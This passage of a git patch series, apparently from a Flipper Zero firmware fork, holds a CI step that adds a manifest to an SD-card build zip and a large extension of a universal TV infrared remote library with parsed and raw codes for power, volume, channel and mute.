-name: VOL- -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 0B 00 00 00 -# -name: MUTE -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 0F 00 00 00 -# -name: CH+ -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 12 00 00 00 -# -name: CH- -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 10 00 00 00 -# -name: POWER -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 08 00 00 00 -# -name: VOL+ -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 02 00 00 00 -# -name: VOL- -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 03 00 00 00 -# -name: CH+ -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 00 00 00 00 -# -name: CH- -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 01 00 00 00 -# -name: MUTE -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 09 00 00 00 -# -name: CH- -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 1A 00 00 00 -# -# -name: POWER -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 08 00 00 00 -# -name: CH+ -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 00 00 00 00 -# -name: CH- -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 01 00 00 00 -# -name: VOL+ -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 02 00 00 00 -# -name: VOL- -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 03 00 00 00 -# -name: MUTE -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 09 00 00 00 -# -name: CH- -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 1A 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 02 7D 00 00 -command: 46 B9 00 00 -# -name: VOL- -type: parsed -protocol: NECext -address: 02 7D 00 00 -command: 0C F3 00 00 -# -name: VOL- -type: parsed -protocol: NECext -address: 02 7D 00 00 -command: 19 E6 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 02 7D 00 00 -command: 4C B3 00 00 -# -name: CH+ -type: parsed -protocol: NECext -address: 02 7D 00 00 -command: 0F F0 00 00 -# -name: CH- -type: parsed -protocol: NECext -address: 02 7D 00 00 -command: 5A A5 00 00 From 5f0f2f72f20bcecbea6961ecf8c103e438843bfa Mon Sep 17 00:00:00 2001 From: Eng1n33r <10697207+xMasterX@users.noreply.github.com> Date: Wed, 6 Jul 2022 19:57:43 +0300 Subject: [PATCH 367/461] include manifest in sd-card zip --- .drone.yml | 1 + 1 file changed, 1 insertion(+) diff --git a/.drone.yml b/.drone.yml index 67ab1e8e2..a298864ad 100644 --- a/.drone.yml +++ b/.drone.yml @@ -33,6 +33,7 @@ steps: - cp assets/resources/subghz/assets/universal_rf_map sd-card/subghz/assets/universal_rf_map - cp assets/resources/subghz/assets/setting_user sd-card/subghz/assets/setting_user - cp assets/resources/nfc/assets/mf_classic_dict.nfc sd-card/nfc/assets/mf_classic_dict.nfc + - cp assets/resources/Manifest sd-card/Manifest - zip -r artifacts-default/sd-card-${DRONE_TAG}.zip sd-card - rm -rf sd-card - ls -laS artifacts-default From 6f0580f0b6b90a51e4a61f8a47a396cf3c885726 Mon Sep 17 00:00:00 2001 From: UberGuidoZ <57457139+UberGuidoZ@users.noreply.github.com> Date: Fri, 8 Jul 2022 20:47:50 -0700 Subject: [PATCH 368/461] Removed RCA protocol (c-nagy) --- assets/resources/infrared/assets/tv.ir | 828 ++++++++++++++++++++++++- 1 file changed, 822 insertions(+), 6 deletions(-) diff --git a/assets/resources/infrared/assets/tv.ir b/assets/resources/infrared/assets/tv.ir index 98292a8ec..759c5ae8b 100755 --- a/assets/resources/infrared/assets/tv.ir +++ b/assets/resources/infrared/assets/tv.ir @@ -1,6 +1,12 @@ Filetype: IR library file Version: 1 # +# Recompiled Universal Remote for ALL buttons! +# (Now includes Volume and Channel brute forcing) +# +# Compiled by Hyper_Mash with support/testing from UberGuidoZ +# Thank you to ChaoticDynamic aka c-nagy for cleanup +# name: POWER type: parsed protocol: SIRC @@ -296,12 +302,6 @@ address: 00 00 00 00 command: 01 00 00 00 # name: POWER -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 01 00 00 00 -# -name: POWER type: raw frequency: 38000 duty_cycle: 0.33 @@ -1584,3 +1584,819 @@ type: raw frequency: 38000 duty_cycle: 0.33 data: 7847 3931 470 1448 467 495 472 1443 472 490 467 1451 464 491 466 499 468 491 466 4413 467 1455 470 486 471 1449 466 495 472 1441 464 501 466 492 465 494 463 22093 7851 3934 467 1454 471 490 467 1446 469 496 471 1446 469 489 468 494 473 484 473 4410 470 1449 466 489 468 1455 470 489 468 1449 466 496 471 486 471 490 467 +# +name: POWER +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 0A F5 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 01 72 00 00 +command: 1E E1 00 00 +# +name: CH+ +type: parsed +protocol: NECext +address: 01 72 00 00 +command: 48 B7 00 00 +# +name: CH- +type: parsed +protocol: NECext +address: 01 72 00 00 +command: 44 BB 00 00 +# +name: VOL+ +type: parsed +protocol: NECext +address: 01 72 00 00 +command: 0A F5 00 00 +# +name: VOL- +type: parsed +protocol: NECext +address: 01 72 00 00 +command: 06 F9 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 01 72 00 00 +command: 5C A3 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 0F F0 00 00 +# +name: VOL+ +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 0C F3 00 00 +# +name: VOL- +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 0D F2 00 00 +# +name: CH+ +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 0A F5 00 00 +# +name: CH- +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 0B F4 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 0E F1 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 02 7D 00 00 +command: 46 B9 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 02 7D 00 00 +command: 4C B3 00 00 +# +name: CH+ +type: parsed +protocol: NECext +address: 02 7D 00 00 +command: 0F F0 00 00 +# +name: CH- +type: parsed +protocol: NECext +address: 02 7D 00 00 +command: 5A A5 00 00 +# +name: VOL+ +type: parsed +protocol: NECext +address: 02 7D 00 00 +command: 0C F3 00 00 +# +name: VOL- +type: parsed +protocol: NECext +address: 02 7D 00 00 +command: 19 E6 00 00 +# +name: CH- +type: parsed +protocol: NECext +address: 02 7D 00 00 +command: 41 BE 00 00 +# +name: VOL- +type: parsed +protocol: NECext +address: 02 7D 00 00 +command: 42 BD 00 00 +# +name: CH- +type: parsed +protocol: NECext +address: 02 7D 00 00 +command: 57 A8 00 00 +# +name: VOL+ +type: parsed +protocol: NECext +address: 02 7D 00 00 +command: 15 EA 00 00 +# +name: VOL- +type: parsed +protocol: NECext +address: 02 7D 00 00 +command: 15 EA 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 84 E0 00 00 +command: 20 DF 00 00 +# +name: CH+ +type: parsed +protocol: NECext +address: 84 E0 00 00 +command: 50 AF 00 00 +# +name: CH- +type: parsed +protocol: NECext +address: 84 E0 00 00 +command: 51 AE 00 00 +# +name: VOL+ +type: parsed +protocol: NECext +address: 84 E0 00 00 +command: 60 9F 00 00 +# +name: VOL- +type: parsed +protocol: NECext +address: 84 E0 00 00 +command: 61 9E 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 84 E0 00 00 +command: 64 9B 00 00 +# +name: CH- +type: parsed +protocol: NECext +address: 84 E0 00 00 +command: 57 A8 00 00 +# +name: POWER +type: parsed +protocol: NEC +address: 6E 00 00 00 +command: 02 00 00 00 +# +name: VOL+ +type: parsed +protocol: NEC +address: 6E 00 00 00 +command: 06 00 00 00 +# +name: VOL- +type: parsed +protocol: NEC +address: 6E 00 00 00 +command: 0C 00 00 00 +# +name: CH+ +type: parsed +protocol: NEC +address: 6E 00 00 00 +command: 08 00 00 00 +# +name: CH- +type: parsed +protocol: NEC +address: 6E 00 00 00 +command: 0E 00 00 00 +# +name: MUTE +type: parsed +protocol: NEC +address: 6E 00 00 00 +command: 04 00 00 00 +# +name: POWER +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4000 4000 500 2000 500 2000 500 2000 500 2000 500 1000 500 1000 500 2000 500 1000 500 2000 500 1000 500 2000 500 1000 500 1000 500 1000 500 1000 500 1000 500 2000 500 2000 500 1000 500 2000 500 1000 500 2000 500 1000 500 2000 500 8500 4000 4000 500 +# +name: MUTE +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4000 4000 500 2000 500 2000 500 2000 500 2000 500 1000 500 1000 500 2000 500 2000 500 2000 500 2000 500 2000 500 2000 500 1000 500 1000 500 1000 500 1000 500 2000 500 2000 500 1000 500 1000 500 1000 500 1000 500 1000 500 1000 500 8500 4000 4000 500 +# +name: VOL+ +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4000 4000 500 2000 500 2000 500 2000 500 2000 500 1000 500 1000 500 2000 500 1000 500 2000 500 2000 500 2000 500 2000 500 1000 500 1000 500 1000 500 1000 500 2000 500 2000 500 1000 500 2000 500 1000 500 1000 500 1000 500 1000 500 8500 4000 4000 500 +# +name: VOL- +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4000 4000 500 2000 500 2000 500 2000 500 2000 500 1000 500 1000 500 2000 500 1000 500 2000 500 2000 500 2000 500 1000 500 1000 500 1000 500 1000 500 1000 500 2000 500 2000 500 1000 500 2000 500 1000 500 1000 500 1000 500 2000 500 8500 4000 4000 500 +# +name: CH+ +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4000 4000 500 2000 500 2000 500 2000 500 2000 500 1000 500 1000 500 2000 500 1000 500 2000 500 2000 500 1000 500 2000 500 1000 500 1000 500 1000 500 1000 500 2000 500 2000 500 1000 500 2000 500 1000 500 1000 500 2000 500 1000 500 8500 4000 4000 500 +# +name: CH- +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4000 4000 500 2000 500 2000 500 2000 500 2000 500 1000 500 1000 500 2000 500 1000 500 2000 500 2000 500 1000 500 1000 500 1000 500 1000 500 1000 500 1000 500 2000 500 2000 500 1000 500 2000 500 1000 500 1000 500 2000 500 2000 500 8500 4000 4000 500 +# +name: CH- +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4000 4000 500 2000 500 2000 500 2000 500 2000 500 2000 500 2000 500 1000 500 2000 500 2000 500 2000 500 2000 500 1000 500 1000 500 1000 500 1000 500 1000 500 1000 500 1000 500 2000 500 1000 500 1000 500 1000 500 1000 500 2000 500 8500 4000 4000 500 +# +name: VOL+ +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 02 00 00 00 +# +name: VOL- +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 03 00 00 00 +# +name: MUTE +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 09 00 00 00 +# +name: CH+ +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 00 00 00 00 +# +name: CH- +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 01 00 00 00 +# +name: VOL- +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 0C F3 00 00 +# +name: MUTE +type: parsed +protocol: NEC +address: 50 00 00 00 +command: 0B 00 00 00 +# +name: VOL+ +type: parsed +protocol: NEC +address: 50 00 00 00 +command: 12 00 00 00 +# +name: VOL- +type: parsed +protocol: NEC +address: 50 00 00 00 +command: 15 00 00 00 +# +name: CH+ +type: parsed +protocol: NEC +address: 50 00 00 00 +command: 19 00 00 00 +# +name: CH- +type: parsed +protocol: NEC +address: 50 00 00 00 +command: 18 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 85 7C 00 00 +command: 80 7F 00 00 +# +name: VOL+ +type: parsed +protocol: NECext +address: 85 7C 00 00 +command: 8F 70 00 00 +# +name: VOL- +type: parsed +protocol: NECext +address: 85 7C 00 00 +command: 93 6C 00 00 +# +name: CH+ +type: parsed +protocol: NECext +address: 85 7C 00 00 +command: 8D 72 00 00 +# +name: CH- +type: parsed +protocol: NECext +address: 85 7C 00 00 +command: 91 6E 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 85 7C 00 00 +command: 97 68 00 00 +# +name: CH- +type: parsed +protocol: NECext +address: 85 7C 00 00 +command: 96 69 00 00 +# +name: POWER +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8073 3997 524 502 495 505 492 1508 498 503 494 1505 501 1500 495 1504 491 1510 496 3988 522 502 495 1505 501 501 496 504 493 1507 499 502 495 1505 501 501 496 18806 8072 3997 524 502 495 505 492 1507 499 502 495 1505 490 1509 497 1504 491 1510 496 3988 522 502 495 1505 501 500 497 503 494 1506 500 501 496 1504 491 510 498 18806 8072 3998 523 503 494 506 491 1509 497 504 493 1506 499 1501 494 1506 500 1502 493 3989 522 504 493 1507 499 502 495 505 492 1508 498 503 494 1506 499 502 495 18807 8072 3998 523 503 494 506 491 1509 497 504 493 1506 500 1501 494 1506 500 1502 493 3989 521 503 494 1506 500 502 495 505 492 1508 498 503 494 1506 500 502 495 18807 8072 3998 523 502 495 505 492 1508 498 503 494 1505 501 1500 495 1504 491 1510 496 3988 523 502 495 1505 501 501 496 503 494 1506 500 501 496 1504 491 510 498 +# +name: POWER +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8065 4004 517 509 499 502 495 1505 501 500 497 1502 493 1507 498 1476 519 1482 523 3984 526 499 498 1502 493 1507 498 1477 518 507 501 500 497 1503 492 509 499 17804 8064 4004 516 510 498 503 494 1505 500 501 496 1503 492 1508 497 1503 492 1484 521 3986 524 501 496 1503 492 1508 497 1503 492 509 499 502 495 1505 500 502 495 17808 8071 3999 522 504 493 507 501 1500 495 506 491 1508 497 1502 493 1507 498 1503 492 3991 519 506 491 1508 497 1503 492 1508 497 504 493 507 501 1499 496 506 491 17814 8065 4006 525 500 497 504 493 1507 498 502 495 1504 491 1509 496 1504 491 1510 496 3987 523 502 495 1504 502 1499 496 1504 501 500 497 503 494 1506 499 502 495 17807 8072 3997 524 502 495 505 492 1508 497 503 494 1505 501 1499 496 1479 516 1485 520 3987 523 501 496 1504 491 1509 496 1479 516 510 498 503 494 1505 500 502 495 17806 8073 3996 525 501 496 505 492 1507 498 503 494 1505 500 1499 496 1479 516 1485 520 3987 523 502 495 1504 501 1499 496 1479 516 510 498 503 494 1506 499 502 495 +# +name: VOL+ +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8069 3998 522 503 494 506 491 1509 496 505 492 1507 498 1501 494 1506 499 1502 493 3989 521 1503 492 1508 497 1503 492 508 500 1501 494 506 491 510 498 504 493 17810 8067 4003 517 508 500 501 496 1504 491 510 498 1502 493 1507 498 1501 494 1508 497 3984 526 1474 521 1504 501 1500 495 505 492 1509 496 505 492 508 500 502 495 17809 8069 4000 520 506 491 509 499 1501 494 507 501 1499 496 1503 492 1508 497 1504 491 3991 519 1480 525 1500 495 1505 500 500 497 1503 492 509 499 503 494 507 490 17809 8069 3999 521 505 492 508 500 1500 495 506 491 1508 497 1502 493 1507 498 1503 492 3990 520 1504 491 1509 496 1504 491 509 499 1501 494 507 501 501 496 505 492 17808 8070 3998 523 503 494 506 491 1509 496 504 493 1507 498 1501 494 1506 499 1502 493 3988 522 1502 493 1507 498 1502 493 507 501 1500 495 505 492 509 499 502 495 +# +name: VOL- +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8066 4002 519 507 501 500 497 1503 492 508 500 1500 495 1480 525 1475 520 1506 499 3983 517 508 500 1500 495 1481 524 501 496 1504 491 510 498 503 494 507 501 18803 8073 3997 524 503 494 506 491 1483 522 504 493 1506 499 1476 519 1482 523 1478 517 3989 521 504 493 1482 523 1478 517 508 500 1476 519 507 501 500 497 505 492 18809 8066 4003 517 508 500 501 496 1503 492 509 499 1501 494 1480 525 1475 520 1481 524 3983 516 509 499 1501 494 1482 523 502 495 1505 500 500 497 504 493 508 500 +# +name: MUTE +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8069 4000 520 480 517 508 500 1500 495 505 492 1508 497 1502 493 1506 499 1502 493 3989 521 1503 492 1509 496 503 494 1506 499 1501 494 506 491 510 498 504 493 17807 8072 3997 524 501 496 505 492 1508 497 502 495 1505 500 1499 496 1504 491 1510 495 3986 524 1500 495 1506 499 500 497 1503 492 1508 497 503 494 507 501 501 496 17804 8064 4004 517 509 499 501 496 1504 491 509 499 1500 495 1505 500 1499 496 1505 500 3980 520 1505 500 1500 495 505 492 1508 497 1502 493 508 500 501 496 505 492 17807 8072 3995 526 500 497 503 494 1506 499 501 496 1504 491 1508 497 1503 492 1509 496 3985 515 1509 496 1503 492 508 500 1500 495 1506 499 501 496 505 492 509 499 17803 8065 4003 518 508 500 501 496 1504 491 509 499 1502 493 1507 498 1502 493 1508 497 3985 525 1500 495 1505 500 500 497 1503 492 1508 497 504 493 508 500 501 496 +# +name: CH+ +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8064 4006 525 501 496 504 493 1507 498 502 495 1505 500 1499 496 1504 501 1500 495 3987 523 1501 494 1507 498 502 495 505 492 1508 497 1503 492 509 499 503 494 17808 8069 4000 520 505 492 508 500 1500 495 506 491 1508 497 1503 492 1508 497 1504 491 3991 519 1505 500 1501 494 507 501 500 497 1502 493 1508 497 503 494 508 500 17803 8064 4006 525 501 496 504 493 1507 498 503 494 1505 500 1500 495 1505 500 1500 495 3988 522 1502 493 1507 498 503 494 506 491 1508 497 1503 492 509 499 503 494 +# +name: CH- +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8068 3999 521 504 493 507 501 1498 497 504 493 1505 500 1475 520 1479 526 1500 495 3987 523 502 495 1505 500 501 496 504 493 1506 499 1501 494 507 501 500 497 18802 8072 3996 524 502 495 505 492 1507 498 503 494 1505 500 1475 520 1480 525 1476 519 3987 523 501 496 1504 491 510 498 502 495 1504 501 1475 520 505 492 509 498 18798 8065 4001 519 507 501 499 498 1502 493 507 501 1499 496 1504 501 1473 522 1504 501 3981 518 506 491 1509 496 505 492 508 499 1500 495 1505 500 500 497 505 492 18808 8065 4001 519 507 501 500 497 1503 492 508 499 1500 495 1505 500 1499 496 1506 499 3983 516 508 499 1501 494 507 501 500 497 1502 493 1508 497 504 493 508 500 +# +name: VOL- +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8065 4005 525 500 497 503 494 1506 499 501 496 1504 491 1508 497 1503 492 1509 496 3985 524 1500 495 506 491 510 497 503 494 506 491 1509 496 505 492 509 498 19801 8067 3999 521 504 493 507 500 1500 495 505 492 1508 497 1502 493 1507 498 1503 492 3989 520 1504 501 500 497 504 493 507 500 500 497 1503 492 509 498 503 494 19804 8064 4005 525 500 497 503 494 1506 499 502 495 1504 501 1499 496 1504 501 1501 494 3987 522 1503 492 509 498 502 495 505 492 508 499 1501 494 507 500 501 496 19800 8067 3999 520 505 492 508 499 1500 495 506 491 1508 497 1502 493 1507 498 1502 493 3988 521 1503 492 509 498 502 495 506 491 509 498 1501 494 507 500 501 496 19801 8066 4000 520 506 491 509 498 1501 494 507 500 1499 496 1504 491 1508 497 1504 501 3981 518 1507 498 503 494 507 500 500 497 504 493 1507 498 503 494 507 500 19798 8069 3998 521 504 493 508 499 1500 495 506 491 1508 497 1503 492 1508 497 1504 501 3980 519 1506 499 502 495 505 492 509 498 501 496 1504 501 500 497 505 492 +# +name: VOL+ +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8064 4001 518 507 500 499 498 1502 493 507 500 1474 521 1479 516 1484 521 1479 516 3990 519 506 491 1508 497 504 493 508 499 500 497 1503 492 509 498 503 494 19803 8063 4003 516 509 498 502 495 1505 500 500 497 1478 517 1483 522 1478 568 1431 522 3985 524 501 496 1481 524 501 496 505 492 508 499 1500 494 507 500 501 496 19800 8067 4000 519 506 491 509 498 1477 517 506 501 1473 521 1479 515 1483 522 1479 526 3980 518 506 491 1485 520 505 492 508 499 501 496 1479 516 509 498 503 494 19800 8066 3998 521 504 493 507 500 1474 520 504 493 1482 523 1477 517 1482 523 1477 517 3989 520 504 493 1483 522 503 494 506 491 509 498 1477 517 508 499 502 495 +# +name: POWER +type: parsed +protocol: NECext +address: EA C7 00 00 +command: 17 E8 00 00 +# +name: VOL+ +type: parsed +protocol: NECext +address: EA C7 00 00 +command: 0F F0 00 00 +# +name: VOL- +type: parsed +protocol: NECext +address: EA C7 00 00 +command: 10 EF 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: EA C7 00 00 +command: 20 DF 00 00 +# +name: POWER +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3477 1735 448 424 445 1301 448 425 444 429 450 422 447 426 443 430 449 423 446 427 452 421 448 424 445 428 451 422 447 1299 450 422 447 426 443 430 449 423 446 427 452 420 449 424 445 428 451 421 448 1298 451 422 447 425 444 429 450 423 446 426 443 430 449 423 446 427 452 1294 444 428 451 1295 443 1303 446 1300 449 1297 452 421 500 373 444 1302 447 426 443 1303 446 1300 449 1297 452 1294 444 428 451 1295 443 74431 3476 1736 448 425 444 1302 447 426 453 419 450 423 446 427 452 420 449 424 445 427 452 421 448 425 444 428 451 422 447 1299 450 422 447 426 453 420 449 423 446 427 452 420 449 424 445 428 451 421 448 1298 451 422 447 425 454 419 450 423 446 454 425 447 422 451 418 427 452 1294 444 428 451 1295 443 1302 447 1300 449 1297 452 420 449 451 418 1301 448 424 445 1302 447 1299 450 1296 442 1304 445 454 425 1294 444 74431 3475 1737 446 425 454 1293 445 426 453 420 449 424 445 427 452 421 448 424 445 428 451 422 447 425 454 419 450 422 447 1300 449 424 445 427 452 421 448 424 445 428 451 421 448 425 454 418 451 422 447 1300 449 424 445 454 425 420 449 424 445 428 451 421 448 425 444 429 450 1296 453 419 450 1297 452 1294 444 1301 448 1298 451 422 509 364 453 1293 445 427 452 1294 444 1301 448 1298 451 1296 453 420 449 1296 453 +# +name: VOL+ +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3474 1765 418 455 424 1323 415 458 421 451 418 456 423 422 447 454 415 458 421 452 417 456 423 450 419 454 425 448 421 1325 423 423 446 454 425 448 421 452 417 456 423 450 419 454 425 448 421 452 417 1330 418 455 424 448 421 453 416 457 422 451 418 455 424 449 420 453 416 457 422 451 418 455 424 449 420 453 416 1331 417 455 424 449 420 453 416 458 421 452 417 456 423 450 419 1327 421 424 445 1329 419 +# +name: VOL- +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3475 1737 446 427 452 1294 444 456 423 423 446 454 425 421 448 452 417 456 423 423 446 455 424 449 420 425 444 457 422 1297 451 421 448 453 416 457 422 451 418 428 451 449 420 426 443 457 422 424 445 1301 447 426 443 458 421 451 418 456 423 449 420 454 415 458 421 452 417 1302 446 427 452 448 421 452 417 456 423 1296 452 448 421 453 416 1303 445 455 424 449 420 453 416 430 449 1297 451 421 448 1299 449 +# +name: CH+ +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3476 1764 419 454 425 1321 417 456 423 450 419 455 424 449 420 453 416 457 422 451 418 455 424 449 420 453 416 458 421 1325 423 450 419 454 414 458 421 452 417 456 423 450 419 455 424 449 420 453 416 1330 418 455 424 449 420 453 416 457 422 451 418 456 423 450 419 454 415 458 421 452 417 1330 418 454 425 1321 417 1330 418 455 424 449 420 453 416 458 421 1325 423 450 419 1327 421 1325 423 450 419 1327 421 +# +name: CH- +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3480 1759 424 450 419 1300 448 452 417 456 423 450 419 454 425 448 421 452 417 457 422 451 418 455 424 449 420 453 416 1331 417 455 424 449 420 454 415 458 421 452 417 456 423 450 419 454 425 448 421 1325 423 450 419 455 424 448 421 453 416 457 422 451 418 455 424 449 420 1326 422 424 445 1329 419 426 443 1331 417 1302 446 454 425 420 449 1298 450 450 419 1328 420 452 417 1330 418 1301 447 425 444 1330 418 +# +name: MUTE +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3477 1763 420 453 416 1330 418 455 424 449 420 453 415 458 421 452 417 456 423 450 419 454 425 448 421 452 417 456 423 1324 424 448 421 453 416 457 422 451 418 455 424 449 420 453 416 457 422 451 418 1329 419 454 415 458 421 452 417 456 423 450 419 427 452 448 421 452 417 456 423 1324 424 449 420 453 416 1330 418 1328 420 453 416 457 422 451 418 1329 419 454 415 458 421 1298 450 1323 425 448 421 1326 422 +# +name: CH- +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3479 1762 421 452 417 1330 418 455 424 449 420 426 443 457 422 451 418 456 423 450 419 454 425 448 421 452 417 457 422 1324 424 449 420 453 415 458 421 452 417 456 423 450 419 454 425 448 421 453 416 1330 418 1329 419 454 415 458 421 1298 450 423 446 455 424 449 420 453 416 457 422 451 418 1329 419 1327 421 1325 423 451 418 1328 420 1326 422 1325 423 450 419 1328 420 453 416 1303 445 455 424 1295 453 448 421 +# +name: POWER +type: parsed +protocol: RC6 +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: VOL+ +type: parsed +protocol: RC6 +address: 00 00 00 00 +command: 10 00 00 00 +# +name: VOL- +type: parsed +protocol: RC6 +address: 00 00 00 00 +command: 11 00 00 00 +# +name: CH+ +type: parsed +protocol: RC6 +address: 00 00 00 00 +command: 4C 00 00 00 +# +name: CH- +type: parsed +protocol: RC6 +address: 00 00 00 00 +command: 4D 00 00 00 +# +name: MUTE +type: parsed +protocol: RC6 +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: POWER +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 182 7827 172 2332 177 2328 181 2323 176 2330 179 1309 175 1331 174 2331 178 1328 177 2328 181 1307 177 2327 182 1325 180 1326 179 1309 176 1331 174 1332 173 2333 176 2310 178 1328 177 2328 181 1325 180 2306 182 1325 180 2325 174 8340 183 7825 175 2330 179 2326 173 2333 176 2310 178 1328 177 1329 176 2329 180 1308 176 2329 180 1326 179 2326 173 1334 182 1306 179 1328 177 1329 176 1312 183 2322 177 2329 180 1326 179 2325 174 1315 180 2326 173 1333 183 2323 176 8339 183 7824 175 2330 179 2307 181 2324 175 2331 178 1328 177 1330 175 2311 177 1329 176 2329 180 1326 179 2327 182 1305 179 1328 177 1328 177 1311 173 1334 182 2323 176 2330 179 1326 571 1916 180 1327 178 2325 587 920 575 1930 579 +# +name: VOL+ +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 179 7828 182 2323 176 2328 181 2323 176 2329 180 1308 176 1330 175 2329 180 1326 179 2307 181 2323 176 2329 180 2325 174 1332 173 1315 180 1327 179 1328 177 2327 182 2322 177 1311 173 2332 177 1329 176 1330 175 1312 183 1324 181 8332 180 7826 174 2331 178 2326 173 2313 176 2330 179 1327 178 1328 177 2327 182 1306 179 2326 183 2322 177 2328 181 2323 176 1312 183 1324 181 1325 180 1325 180 2307 181 2323 176 1331 174 2330 179 1327 178 1310 175 1331 174 1332 173 8323 179 7845 176 2311 177 2327 182 2322 177 2328 181 1325 180 1308 177 2328 181 1325 180 2325 174 2330 179 2326 173 2314 174 1332 173 1332 173 1333 183 1306 178 2326 183 2322 177 1329 176 2328 181 1307 177 1329 176 1330 175 1313 182 +# +name: VOL- +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 183 7824 176 2329 180 2324 175 2329 180 2324 175 1314 181 1325 180 2324 175 1331 174 2331 178 2307 181 2324 175 1331 174 1331 174 1314 181 1326 179 1326 179 2325 174 2332 177 1310 174 2330 179 1327 178 1328 177 1310 174 2330 179 8334 178 7827 173 2332 177 2327 182 2323 176 2310 178 1328 177 1328 177 2327 182 1306 179 2326 183 2322 177 2327 182 1324 181 1307 177 1329 176 1330 176 1331 174 2311 177 2328 181 1325 180 2324 175 1332 173 1313 182 1325 180 2324 175 8339 173 1383 2522 3925 179 2325 576 1909 590 1915 594 1910 589 918 588 919 576 1911 175 1332 173 2330 592 1912 587 1918 581 907 588 918 598 908 587 920 575 913 592 1914 182 2320 592 914 581 1927 180 1307 178 1327 592 915 580 1925 574 +# +name: CH+ +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 176 7830 180 2324 175 2329 180 2324 175 2329 180 1308 176 1329 176 2328 181 1325 180 2305 183 2321 178 1329 177 2327 182 1324 181 1306 178 1328 177 1329 176 2327 182 2304 174 1332 173 2332 177 1328 177 1310 174 2330 179 1327 178 8333 179 7826 174 2330 179 2325 174 2313 175 2329 180 1326 179 1326 179 2325 174 1315 180 2324 175 2329 180 1326 179 2325 174 1314 181 1325 180 1326 179 1308 177 2328 181 2323 176 1330 175 2329 180 1308 176 1330 175 2328 181 1325 180 8314 177 7845 176 2310 178 2327 182 2322 177 2327 182 1323 182 1306 179 2326 173 1333 183 2322 177 2327 182 1305 179 2326 173 1333 183 1323 182 1305 179 1327 178 2326 173 2331 178 1327 178 2308 180 1326 179 1327 178 2325 174 1315 180 +# +name: CH- +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 182 7824 176 2328 181 2323 176 2328 181 2324 175 1312 183 1323 182 2322 177 1330 175 2309 179 2325 174 1332 173 1333 183 1305 179 1327 178 1328 177 1328 177 2308 180 262 177 1885 175 295 175 861 174 2330 179 99 313 911 573 915 590 1916 180 64 349 1910 176 265 174 7896 177 3081 835 3912 182 2322 177 207 179 1942 180 2304 174 268 181 1881 179 263 176 889 177 264 175 886 583 1925 182 271 178 855 180 240 178 1907 174 2331 178 1327 178 1309 176 1329 590 916 589 919 173 306 175 833 181 317 174 1832 175 2329 180 1325 180 309 182 1833 174 1313 182 1325 180 289 181 1853 175 2329 180 8313 178 7845 176 